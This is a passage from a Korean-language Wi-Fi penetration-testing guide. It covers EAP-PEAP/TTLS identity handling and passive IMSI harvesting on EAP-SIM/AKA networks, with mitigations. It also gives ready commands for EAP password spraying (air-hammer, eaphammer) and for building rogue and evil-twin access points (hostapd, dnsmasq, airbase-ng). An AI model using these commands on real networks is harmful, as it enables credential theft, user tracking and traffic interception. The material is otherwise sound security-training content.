  • ๋˜๋Š” ์ดˆ๊ธฐ RADIUS ์„œ๋ฒ„๊ฐ€ EAP-PEAP ๋˜๋Š” EAP-TTLS ์„œ๋ฒ„๋กœ ๋™์ž‘ํ•˜๋ฉด์„œ ๋ณดํ˜ธ๋œ ์ธ์ฆ ๋ฐฉ๋ฒ•์„ ์ฒ˜๋ฆฌํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ์„œ๋ฒ„๋กœ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์˜ต์…˜์€ ๋‹ค์–‘ํ•œ realm์— ๋Œ€ํ•ด ์„œ๋กœ ๋‹ค๋ฅธ ์ •์ฑ…์„ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

EAP-PEAP์—์„œ๋Š” PEAP ์„œ๋ฒ„์™€ PEAP ํด๋ผ์ด์–ธํŠธ ์‚ฌ์ด์— TLS ํ„ฐ๋„์ด ์„ค์ •๋œ ํ›„, PEAP ์„œ๋ฒ„๊ฐ€ EAP-Identity ์š”์ฒญ์„ ์‹œ์ž‘ํ•˜๊ณ  ์ด๋ฅผ TLS ํ„ฐ๋„์„ ํ†ตํ•ด ์ „์†กํ•ฉ๋‹ˆ๋‹ค. ํด๋ผ์ด์–ธํŠธ๋Š” ์ด ๋‘ ๋ฒˆ์งธ EAP-Identity ์š”์ฒญ์— ๋Œ€ํ•ด ์•”ํ˜ธํ™”๋œ ํ„ฐ๋„์„ ํ†ตํ•ด ์‚ฌ์šฉ์ž์˜ ์‹ค์ œ ์‹ ์›์„ ํฌํ•จํ•œ EAP-Identity ์‘๋‹ต์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ 802.11 ํŠธ๋ž˜ํ”ฝ์„ ๋„์ฒญํ•˜๋Š” ๋ˆ„๊ตฐ๊ฐ€์—๊ฒŒ ์‚ฌ์šฉ์ž์˜ ์‹ค์ œ ์‹ ์›์ด ๋“œ๋Ÿฌ๋‚˜๋Š” ๊ฒƒ์„ ํšจ๊ณผ์ ์œผ๋กœ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.

EAP-TTLS๋Š” ์•ฝ๊ฐ„ ๋‹ค๋ฅธ ์ ˆ์ฐจ๋ฅผ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค. EAP-TTLS์—์„œ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ํด๋ผ์ด์–ธํŠธ๊ฐ€ TLS ํ„ฐ๋„๋กœ ๋ณดํ˜ธ๋œ ์ƒํƒœ์—์„œ PAP ๋˜๋Š” CHAP์„ ์‚ฌ์šฉํ•˜์—ฌ ์ธ์ฆํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ํด๋ผ์ด์–ธํŠธ๋Š” ํ„ฐ๋„ ์„ค์ • ํ›„ ์ดˆ๊ธฐ TLS ๋ฉ”์‹œ์ง€์— User-Name ์†์„ฑ๊ณผ Password ๋˜๋Š” CHAP-Password ์†์„ฑ ์ค‘ ํ•˜๋‚˜๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

์„ ํƒํ•œ ํ”„๋กœํ† ์ฝœ์— ๊ด€๊ณ„์—†์ด PEAP/TTLS ์„œ๋ฒ„๋Š” TLS ํ„ฐ๋„์ด ์„ค์ •๋œ ํ›„ ์‚ฌ์šฉ์ž์˜ ์‹ค์ œ ์‹ ์›์„ ์•Œ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์‹ค์ œ ์‹ ์›์€ user@realm ๋˜๋Š” ๋‹จ์ˆœํžˆ user๋กœ ํ‘œํ˜„๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. PEAP/TTLS ์„œ๋ฒ„๊ฐ€ ์‚ฌ์šฉ์ž ์ธ์ฆ๋„ ๋‹ด๋‹นํ•˜๋Š” ๊ฒฝ์šฐ, ์ด์ œ ์„œ๋ฒ„๋Š” ์‚ฌ์šฉ์ž์˜ ์‹ ์›์„ ํ™•๋ณดํ•˜๊ณ  TLS ํ„ฐ๋„๋กœ ๋ณดํ˜ธ๋œ ์ธ์ฆ ๋ฐฉ๋ฒ•์„ ์ง„ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋˜๋Š” PEAP/TTLS ์„œ๋ฒ„๊ฐ€ ์ƒˆ๋กœ์šด RADIUS ์š”์ฒญ์„ ์‚ฌ์šฉ์ž์˜ ํ™ˆ RADIUS ์„œ๋ฒ„๋กœ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ƒˆ๋กœ์šด RADIUS ์š”์ฒญ์—๋Š” PEAP ๋˜๋Š” TTLS ํ”„๋กœํ† ์ฝœ ๋ ˆ์ด์–ด๊ฐ€ ํฌํ•จ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋ณดํ˜ธ๋œ ์ธ์ฆ ๋ฐฉ๋ฒ•์ด EAP์ธ ๊ฒฝ์šฐ ๋‚ด๋ถ€ EAP ๋ฉ”์‹œ์ง€๋Š” EAP-PEAP ๋˜๋Š” EAP-TTLS ๋ž˜ํผ ์—†์ด ํ™ˆ RADIUS ์„œ๋ฒ„๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. ๋‚˜๊ฐ€๋Š” RADIUS ๋ฉ”์‹œ์ง€์˜ User-Name ์†์„ฑ์€ ๋“ค์–ด์˜ค๋Š” RADIUS ์š”์ฒญ์˜ anonymous User-Name์„ ๋Œ€์ฒดํ•˜์—ฌ ์‚ฌ์šฉ์ž์˜ ์‹ค์ œ ์‹ ์›์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๋ณดํ˜ธ๋œ ์ธ์ฆ ๋ฐฉ๋ฒ•์ด PAP ๋˜๋Š” CHAP์ธ ๊ฒฝ์šฐ(์ด๋Š” TTLS์—์„œ๋งŒ ์ง€์›๋จ), TLS ํŽ˜์ด๋กœ๋“œ์—์„œ ์ถ”์ถœ๋œ User-Name ๋ฐ ๊ธฐํƒ€ ์ธ์ฆ ์†์„ฑ๋“ค์ด ๋‚˜๊ฐ€๋Š” RADIUS ๋ฉ”์‹œ์ง€์— ๋Œ€์ฒด๋˜์–ด ๋“ค์–ด์˜ค๋Š” RADIUS ์š”์ฒญ์— ์žˆ๋Š” anonymous User-Name ๋ฐ TTLS EAP-Message ์†์„ฑ์„ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.

์ž์„ธํ•œ ๋‚ด์šฉ์€ https://www.interlinknetworks.com/app_notes/eap-peap.htm ์„ ํ™•์ธํ•˜์„ธ์š”.

SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)

SIM ๊ธฐ๋ฐ˜ Wiโ€‘Fi ์ธ์ฆ(EAPโ€‘SIM/EAPโ€‘AKA over 802.1X)์€ pseudonyms/protected identities๋ฅผ ๊ตฌํ˜„ํ•˜์ง€ ์•Š๊ฑฐ๋‚˜ ๋‚ด๋ถ€ EAP ์ฃผ์œ„์— TLS ํ„ฐ๋„์„ ์ ์šฉํ•˜์ง€ ์•Š์€ ๋ฐฐํฌ์˜ ๊ฒฝ์šฐ, ์ธ์ฆ๋˜์ง€ ์•Š์€ identity ๋‹จ๊ณ„์—์„œ ์˜๊ตฌ ๊ฐ€์ž…์ž ์‹๋ณ„์ž(IMSI)๋ฅผ ํ‰๋ฌธ์œผ๋กœ leakํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Where the leak happens (high level):

  • 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
  • Authenticator sends EAP-Request/Identity.
  • Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
  • Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
  • Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.

Quick PoC: passive IMSI harvesting on EAPโ€‘SIM/AKA networks lacking identity privacy

ํ™•์žฅํ•˜๋ ค๋ฉด ํด๋ฆญ ```bash # 1) Enable monitor mode airmon-ng start wlan0

2) Optional: lock channel to the target BSS

airodump-ng wlan0mon โ€“essid

3) Capture 802.1X/EAP frames

Wireshark display filters:

eap || eapol

(identity specifically): eap.code == 2 && eap.type == 1

Kismet: add source wlan0mon; enable 802.1X/EAP views

tcpdump (pcap capture):

tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap

4) Wait for a device to auto-connect to the SSID

5) Inspect the first EAP-Response/Identity frame

Expected: ASCII NAI containing IMSI, e.g.

20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org

</details>

์ฐธ๊ณ :
- ๋ฐฐํฌ๊ฐ€ ๋ณดํ˜ธ๋œ ์‹ ์›/๊ฐ€๋ช… ์—†์ด ์ˆœ์ˆ˜ํ•œ EAPโ€‘SIM/AKA๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ TLS ํ„ฐ๋„ ์ด์ „์— ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.
- ๋…ธ์ถœ๋œ ๊ฐ’์€ ๊ฐ€์ž…์ž์˜ SIM์— ์—ฐ๊ฒฐ๋œ ์˜๊ตฌ ์‹๋ณ„์ž์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ์ˆ˜์ง‘ํ•˜๋ฉด ์žฅ๊ธฐ ์ถ”์  ๋ฐ ์ดํ›„์˜ ํ†ต์‹ ์‚ฌ ์•…์šฉ์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.

์˜ํ–ฅ
- Privacy: ๊ณต๊ณต์žฅ์†Œ์—์„œ์˜ ์ˆ˜๋™ Wiโ€‘Fi ์บก์ฒ˜๋กœ ์ธํ•œ ์ง€์†์ ์ธ ์‚ฌ์šฉ์ž/์žฅ์น˜ ์ถ”์ .
- Telecom abuse bootstrap: IMSI๋ฅผ ํ†ตํ•ด SS7/Diameter ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๊ณต๊ฒฉ์ž๊ฐ€ ์œ„์น˜ ์กฐํšŒ, ํ†ตํ™”/SMS ๊ฐ€๋กœ์ฑ„๊ธฐ ๋˜๋Š” MFA ํƒˆ์ทจ๋ฅผ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์™„ํ™” ๋ฐฉ์•ˆ / ํ™•์ธํ•  ์‚ฌํ•ญ
- ํด๋ผ์ด์–ธํŠธ๊ฐ€ 3GPP ๊ถŒ๊ณ (์˜ˆ: 3GPP TS 33.402)์— ๋”ฐ๋ผ ์ต๋ช… outer identities(๊ฐ€๋ช…)๋ฅผ EAPโ€‘SIM/AKA์— ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.
- ๊ฐ€๋Šฅํ•˜๋ฉด ์‹ ์› ๋‹จ๊ณ„(identity phase)๋ฅผ ํ„ฐ๋„๋ง(์˜ˆ: inner EAPโ€‘SIM/AKA๋ฅผ ์šด๋ฐ˜ํ•˜๋Š” EAPโ€‘TTLS/PEAP)ํ•˜์—ฌ IMSI๊ฐ€ ํ‰๋ฌธ์œผ๋กœ ์ „์†ก๋˜์ง€ ์•Š๋„๋ก ํ•˜์„ธ์š”.
- association/auth์˜ ํŒจํ‚ท ์บก์ฒ˜์—์„œ EAP-Response/Identity์— ์›์‹œ IMSI๊ฐ€ ๋…ธ์ถœ๋˜์–ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค.

๊ด€๋ จ: ์บก์ฒ˜๋œ ๋ชจ๋ฐ”์ผ ์‹๋ณ„์ž๋ฅผ ์ด์šฉํ•œ ํ†ต์‹  ์‹ ํ˜ธ ์•…์šฉ
<a class="content_ref" href="../pentesting-network/telecom-network-exploitation.md"><span class="content_ref_label">Telecom Network Exploitation</span></a>

### EAP-Bruteforce (password spray)

ํด๋ผ์ด์–ธํŠธ๊ฐ€ **์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ**๋ฅผ ์‚ฌ์šฉํ•˜๋„๋ก ๋˜์–ด ์žˆ๋‹ค๋ฉด(์ด ๊ฒฝ์šฐ **EAP-TLS won't be valid**), **์‚ฌ์šฉ์ž ์ด๋ฆ„ ๋ชฉ๋ก**(๋‹ค์Œ ๋ถ€๋ถ„ ์ฐธ์กฐ)๊ณผ **๋น„๋ฐ€๋ฒˆํ˜ธ**๋ฅผ ํ™•๋ณดํ•œ ๋’ค [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**์„ ์‚ฌ์šฉํ•ด ์ ‘๊ทผ์„ **bruteforce** ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

์ด ๊ณต๊ฒฉ์€ eaphammer๋ฅผ ์‚ฌ์šฉํ•ด์„œ๋„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

ํด๋ผ์ด์–ธํŠธ ๊ณต๊ฒฉ ์ด๋ก 

Network Selection and Roaming

  • The 802.11 protocol defines how a station joins an Extended Service Set (ESS) but does not specify the criteria for selecting an ESS or an access point (AP) within it.
  • ์Šคํ…Œ์ด์…˜์€ ๋™์ผํ•œ ESSID๋ฅผ ๊ณต์œ ํ•˜๋Š” AP๋“ค ์‚ฌ์ด๋ฅผ ๋กœ๋ฐํ•  ์ˆ˜ ์žˆ์–ด, ๊ฑด๋ฌผ์ด๋‚˜ ๊ตฌ์—ญ ์ „๋ฐ˜์— ๊ฑธ์ณ ์—ฐ๊ฒฐ์„ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ํ”„๋กœํ† ์ฝœ์€ ์Šคํ…Œ์ด์…˜์ด ESS์— ๋Œ€ํ•ด ์ธ์ฆ์„ ์ˆ˜ํ–‰ํ•˜๋„๋ก ์š”๊ตฌํ•˜์ง€๋งŒ AP๊ฐ€ ์Šคํ…Œ์ด์…˜์—๊ฒŒ ์ธ์ฆํ•˜๋„๋ก ์š”๊ตฌํ•˜์ง€๋Š” ์•Š๋Š”๋‹ค.

Preferred Network Lists (PNLs)

  • ์Šคํ…Œ์ด์…˜์€ ์—ฐ๊ฒฐํ•œ ๋ชจ๋“  ๋ฌด์„  ๋„คํŠธ์›Œํฌ์˜ ESSID๋ฅผ Preferred Network List (PNL)์— ์ €์žฅํ•˜๋ฉฐ, ๋„คํŠธ์›Œํฌ๋ณ„ ๊ตฌ์„ฑ ์ƒ์„ธ๋„ ํ•จ๊ป˜ ์ €์žฅํ•œ๋‹ค.
  • PNL์€ ์•Œ๋ ค์ง„ ๋„คํŠธ์›Œํฌ์— ์ž๋™์œผ๋กœ ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋ฉฐ, ์—ฐ๊ฒฐ ๊ณผ์ •์„ ๊ฐ„์†Œํ™”ํ•ด ์‚ฌ์šฉ์„ฑ ํ–ฅ์ƒ์„ ์ œ๊ณตํ•œ๋‹ค.

Passive Scanning

  • AP๋Š” ์ฃผ๊ธฐ์ ์œผ๋กœ beacon frames๋ฅผ ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธํ•˜์—ฌ ์ž์‹ ์˜ ์กด์žฌ์™€ ๊ธฐ๋Šฅ์„ ์•Œ๋ฆฌ๋ฉฐ, ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธ๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด AP์˜ ESSID๋„ ํฌํ•จํ•œ๋‹ค.
  • ์ˆ˜๋™ ์Šค์บ๋‹ ๋™์•ˆ ์Šคํ…Œ์ด์…˜์€ beacon frames๋ฅผ ์ˆ˜์‹ ํ•œ๋‹ค. ๋น„์ฝ˜์˜ ESSID๊ฐ€ ์Šคํ…Œ์ด์…˜์˜ PNL ํ•ญ๋ชฉ๊ณผ ์ผ์น˜ํ•˜๋ฉด ์Šคํ…Œ์ด์…˜์€ ํ•ด๋‹น AP์— ์ž๋™์œผ๋กœ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ์žฅ์น˜์˜ PNL ์ •๋ณด๋ฅผ ์•Œ๋ฉด ์•Œ๋ ค์ง„ ๋„คํŠธ์›Œํฌ์˜ ESSID๋ฅผ ๋ชจ๋ฐฉํ•ด ์žฅ์น˜๋ฅผ ์•…์„ฑ AP์— ์—ฐ๊ฒฐ์‹œํ‚ค๋Š” ์‹์œผ๋กœ ์ž ์žฌ์ ์ธ ์•…์šฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

Active Probing

  • Active probing์€ ์Šคํ…Œ์ด์…˜์ด probe requests๋ฅผ ๋ณด๋‚ด ์ฃผ๋ณ€ AP์™€ ๊ทธ ํŠน์„ฑ์„ ํƒ์ง€ํ•˜๋Š” ๊ณผ์ •์ด๋‹ค.
  • Directed probe requests๋Š” ํŠน์ • ESSID๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•˜์—ฌ, ํ•ด๋‹น ๋„คํŠธ์›Œํฌ๊ฐ€ ๋ฒ”์œ„ ๋‚ด์— ์žˆ๋Š”์ง€(์ˆจ๊น€ ๋„คํŠธ์›Œํฌ์ธ ๊ฒฝ์šฐ์—๋„) ํ™•์ธํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ค€๋‹ค.
  • Broadcast probe requests๋Š” SSID ํ•„๋“œ๊ฐ€ null์ด๋ฉฐ ๋ชจ๋“  ์ธ๊ทผ AP๋กœ ์ „์†ก๋˜์–ด, ์Šคํ…Œ์ด์…˜์ด PNL ๋‚ด์šฉ์„ ๋…ธ์ถœํ•˜์ง€ ์•Š๊ณ ๋„ ์„ ํ˜ธ ๋„คํŠธ์›Œํฌ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค.

Simple AP with redirection to Internet

๋” ๋ณต์žกํ•œ ๊ณต๊ฒฉ์„ ์„ค๋ช…ํ•˜๊ธฐ ์ „์—, ๋‹จ์ˆœํžˆ AP๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ๊ทธ ํŠธ๋ž˜ํ”ฝ์„ Internet์— ์—ฐ๊ฒฐ๋œ ์ธํ„ฐํŽ˜์ด์Šค๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์„ค๋ช…ํ•œ๋‹ค.

Using ifconfig -a check that the wlan interface to create the AP and the interface connected to the Internet are present.

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

๊ตฌ์„ฑ ํŒŒ์ผ /etc/dnsmasq.conf์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

๊ทธ๋Ÿฐ ๋‹ค์Œ set IPs ๋ฐ routes:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

๊ทธ๋Ÿฐ ๋‹ค์Œ dnsmasq๋ฅผ ์‹œ์ž‘ํ•˜์„ธ์š”:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

๊ตฌ์„ฑ ํŒŒ์ผ hostapd.conf ์ƒ์„ฑ:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

์„ฑ๊ฐ€์‹  ํ”„๋กœ์„ธ์Šค ์ค‘์ง€ , ์„ค์ • monitor mode, ๊ทธ๋ฆฌ๊ณ  ์‹œ์ž‘ hostapd:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

ํฌ์›Œ๋”ฉ ๋ฐ ๋ฆฌ๋””๋ ‰์…˜

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

An evil twin attack๋Š” WiFi ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋„คํŠธ์›Œํฌ๋ฅผ ์ธ์‹ํ•˜๋Š” ๋ฐฉ์‹์„ ์•…์šฉํ•˜๋ฉฐ, ์ฃผ๋กœ ๋„คํŠธ์›Œํฌ ์ด๋ฆ„(ESSID)์— ์˜์กดํ•˜๊ณ  base station (access point)์ด ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ์Šค์Šค๋กœ ์ธ์ฆํ•  ๊ฒƒ์„ ์š”๊ตฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ํ•ต์‹ฌ ์‚ฌํ•ญ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • ๊ตฌ๋ณ„์˜ ์–ด๋ ค์›€: ์žฅ์น˜๋“ค์€ ๋™์ผํ•œ ESSID์™€ ์•”ํ˜ธํ™” ์œ ํ˜•์„ ๊ณต์œ ํ•  ๋•Œ ์ •๋‹นํ•œ access points์™€ rogue access points๋ฅผ ๊ตฌ๋ถ„ํ•˜๊ธฐ ์–ด๋ ต์Šต๋‹ˆ๋‹ค. ์‹ค์ œ ๋„คํŠธ์›Œํฌ๋Š” ์ข…์ข… ๋™์ผํ•œ ESSID๋ฅผ ๊ฐ€์ง„ ์—ฌ๋Ÿฌ access point๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ปค๋ฒ„๋ฆฌ์ง€๋ฅผ ๋งค๋„๋Ÿฝ๊ฒŒ ํ™•์žฅํ•ฉ๋‹ˆ๋‹ค.
  • ํด๋ผ์ด์–ธํŠธ ๋กœ๋ฐ ๋ฐ ์—ฐ๊ฒฐ ์กฐ์ž‘: 802.11 ํ”„๋กœํ† ์ฝœ์€ ์žฅ์น˜๊ฐ€ ๋™์ผํ•œ ESS ๋‚ด์˜ access points ์‚ฌ์ด๋ฅผ ๋กœ๋ฐํ•˜๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์žฅ์น˜๊ฐ€ ํ˜„์žฌ base station์—์„œ ์—ฐ๊ฒฐ์„ ๋Š๊ณ  rogue access point์— ์—ฐ๊ฒฐํ•˜๋„๋ก ์œ ๋„ํ•จ์œผ๋กœ์จ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋” ๊ฐ•ํ•œ ์‹ ํ˜ธ๋ฅผ ์ œ๊ณตํ•˜๊ฑฐ๋‚˜ deauthentication packets ๋˜๋Š” jamming๊ณผ ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ ์ •๋‹นํ•œ access point์™€์˜ ์—ฐ๊ฒฐ์„ ๋ฐฉํ•ดํ•จ์œผ๋กœ์จ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์‹คํ–‰์˜ ์–ด๋ ค์›€: ์—ฌ๋Ÿฌ ๊ฐœ์˜ ์ ์ ˆํžˆ ๋ฐฐ์น˜๋œ access points๊ฐ€ ์žˆ๋Š” ํ™˜๊ฒฝ์—์„œ๋Š” evil twin attack์„ ์„ฑ๊ณต์ ์œผ๋กœ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์–ด๋ ต์Šต๋‹ˆ๋‹ค. ๋‹จ์ผ ์ •๋‹นํ•œ access point๋ฅผ deauthenticateํ•˜๋ฉด ์žฅ์น˜๊ฐ€ ๋‹ค๋ฅธ ์ •๋‹นํ•œ access point์— ์—ฐ๊ฒฐ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์œผ๋ฉฐ, ๊ณต๊ฒฉ์ž๊ฐ€ ์ฃผ๋ณ€์˜ ๋ชจ๋“  access points๋ฅผ deauthenticateํ•˜๊ฑฐ๋‚˜ rogue access point๋ฅผ ์ „๋žต์ ์œผ๋กœ ๋ฐฐ์น˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์•„๋ž˜์™€ ๊ฐ™์ด ๋งค์šฐ ๊ธฐ๋ณธ์ ์ธ Open Evil Twin(ํŠธ๋ž˜ํ”ฝ์„ Internet์œผ๋กœ ๋ผ์šฐํŒ…ํ•  ์ˆ˜ ์—†์Œ)์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

๋˜ํ•œ eaphammer๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Evil Twin์„ ์ƒ์„ฑํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค (eaphammer๋กœ evil twins๋ฅผ ์ƒ์„ฑํ•˜๋ ค๋ฉด ์ธํ„ฐํŽ˜์ด์Šค๊ฐ€ should NOT be monitor ๋ชจ๋“œ์— ์žˆ์–ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

๋˜๋Š” Airgeddon์„ ์‚ฌ์šฉ: Options: 5,6,7,8,9 (inside Evil Twin attack menu).

๊ธฐ๋ณธ์ ์œผ๋กœ PNL์— ์žˆ๋Š” ESSID๊ฐ€ WPA๋กœ ๋ณดํ˜ธ๋œ ๊ฒƒ์œผ๋กœ ์ €์žฅ๋˜์–ด ์žˆ์œผ๋ฉด, ๊ธฐ๊ธฐ๋Š” ์ž๋™์œผ๋กœ Open evil Twin์— ์—ฐ๊ฒฐ๋˜์ง€ ์•Š๋Š”๋‹ค๋Š” ์ ์„ ์œ ์˜ํ•˜์„ธ์š”. ์‹ค์ œ AP์— DoS๋ฅผ ์‹œ๋„ํ•ด ์‚ฌ์šฉ์ž๊ฐ€ ์ˆ˜๋™์œผ๋กœ ๋‹น์‹ ์˜ Open evil twin์— ์—ฐ๊ฒฐํ•˜๊ธฐ๋ฅผ ๊ธฐ๋Œ€ํ•  ์ˆ˜๋„ ์žˆ๊ณ , ๋˜๋Š” ์‹ค์ œ AP์— DoS๋ฅผ ๊ฐ€ํ•œ ํ›„ WPA Evil Twin์„ ์‚ฌ์šฉํ•ด handshake๋ฅผ ์บก์ฒ˜ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค (์ด ๋ฐฉ๋ฒ•์€ PSK๋ฅผ ๋ชจ๋ฅด๋Š” ์ƒํƒœ์—์„œ๋Š” ํ”ผํ•ด์ž๊ฐ€ ๋‹น์‹ ์—๊ฒŒ ์—ฐ๊ฒฐํ•˜๋„๋ก ํ•  ์ˆ˜ ์—†์ง€๋งŒ, handshake๋ฅผ ์บก์ฒ˜ํ•˜์—ฌ ํฌ๋ž™์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

Some OS and AV will warn the user that connect to an Open network is dangerousโ€ฆ

WPA/WPA2 Evil Twin

๋‹น์‹ ์€ Evil Twin using WPA/2๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋””๋ฐ”์ด์Šค๋“ค์ด ํ•ด๋‹น SSID์— WPA/2๋กœ ์—ฐ๊ฒฐํ•˜๋„๋ก ์„ค์ •๋˜์–ด ์žˆ๋‹ค๋ฉด ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์–ด์จŒ๋“ , to complete the 4-way-handshakeํ•˜๋ ค๋ฉด ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์‚ฌ์šฉํ•  ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ๊ณ  ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ ๋ชจ๋ฅธ๋‹ค๋ฉด, ์—ฐ๊ฒฐ์ด ์™„๋ฃŒ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Enterprise Evil Twin

์ด ๊ณต๊ฒฉ์„ ์ดํ•ดํ•˜๋ ค๋ฉด ๋จผ์ € ๊ฐ„๋‹จํ•œ WPA Enterprise explanation๋ฅผ ์ฝ์–ด๋ณด๋Š” ๊ฒƒ์„ ๊ถŒํ•ฉ๋‹ˆ๋‹ค.

hostapd-wpe ์‚ฌ์šฉํ•˜๊ธฐ

